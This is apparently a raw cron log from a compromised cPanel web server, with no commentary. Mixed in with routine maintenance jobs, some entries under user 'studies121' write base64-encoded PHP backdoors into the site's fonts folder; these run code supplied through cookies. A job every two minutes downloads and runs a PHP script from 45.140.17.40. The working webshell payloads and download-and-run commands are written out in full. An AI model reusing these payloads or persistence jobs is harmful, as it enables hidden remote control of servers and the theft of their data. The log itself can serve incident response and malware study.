Aug 30 20:09:01 ip-184-168-122-23 CROND[3369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:09:01 ip-184-168-122-23 CROND[3370]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 20:10:01 ip-184-168-122-23 CROND[3457]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:10:01 ip-184-168-122-23 CROND[3458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:10:01 ip-184-168-122-23 CROND[3462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:10:01 ip-184-168-122-23 CROND[3461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:10:01 ip-184-168-122-23 CROND[3466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:10:01 ip-184-168-122-23 CROND[3469]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:10:01 ip-184-168-122-23 CROND[3470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:10:01 ip-184-168-122-23 CROND[3467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:11:01 ip-184-168-122-23 CROND[3554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:11:01 ip-184-168-122-23 CROND[3559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:11:01 ip-184-168-122-23 CROND[3557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:11:01 ip-184-168-122-23 CROND[3558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:12:01 ip-184-168-122-23 CROND[3637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:12:01 ip-184-168-122-23 CROND[3640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:12:01 ip-184-168-122-23 CROND[3639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:12:01 ip-184-168-122-23 CROND[3641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:12:01 ip-184-168-122-23 CROND[3642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:13:01 ip-184-168-122-23 CROND[3734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:13:01 ip-184-168-122-23 CROND[3736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:13:01 ip-184-168-122-23 CROND[3735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:13:01 ip-184-168-122-23 CROND[3738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:14:01 ip-184-168-122-23 CROND[3906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:14:01 ip-184-168-122-23 CROND[3909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:14:01 ip-184-168-122-23 CROND[3908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:14:01 ip-184-168-122-23 CROND[3910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:14:01 ip-184-168-122-23 CROND[3911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:15:01 ip-184-168-122-23 CROND[4045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:15:01 ip-184-168-122-23 CROND[4047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:15:01 ip-184-168-122-23 CROND[4049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:15:01 ip-184-168-122-23 CROND[4050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:15:01 ip-184-168-122-23 CROND[4052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:15:01 ip-184-168-122-23 CROND[4046]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 20:15:01 ip-184-168-122-23 CROND[4051]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:16:01 ip-184-168-122-23 CROND[4216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:16:01 ip-184-168-122-23 CROND[4219]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:16:01 ip-184-168-122-23 CROND[4218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:16:01 ip-184-168-122-23 CROND[4221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:16:01 ip-184-168-122-23 CROND[4222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:16:01 ip-184-168-122-23 CROND[4220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:17:01 ip-184-168-122-23 CROND[4326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:17:01 ip-184-168-122-23 CROND[4328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:17:01 ip-184-168-122-23 CROND[4330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:17:01 ip-184-168-122-23 CROND[4331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:18:01 ip-184-168-122-23 CROND[4415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:18:01 ip-184-168-122-23 CROND[4418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:18:01 ip-184-168-122-23 CROND[4417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:18:01 ip-184-168-122-23 CROND[4421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:18:01 ip-184-168-122-23 CROND[4419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:19:01 ip-184-168-122-23 CROND[4578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:19:01 ip-184-168-122-23 CROND[4580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:19:01 ip-184-168-122-23 CROND[4581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:19:01 ip-184-168-122-23 CROND[4584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4669]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:20:01 ip-184-168-122-23 CROND[4668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:20:01 ip-184-168-122-23 CROND[4671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:21:01 ip-184-168-122-23 CROND[4784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:21:01 ip-184-168-122-23 CROND[4787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
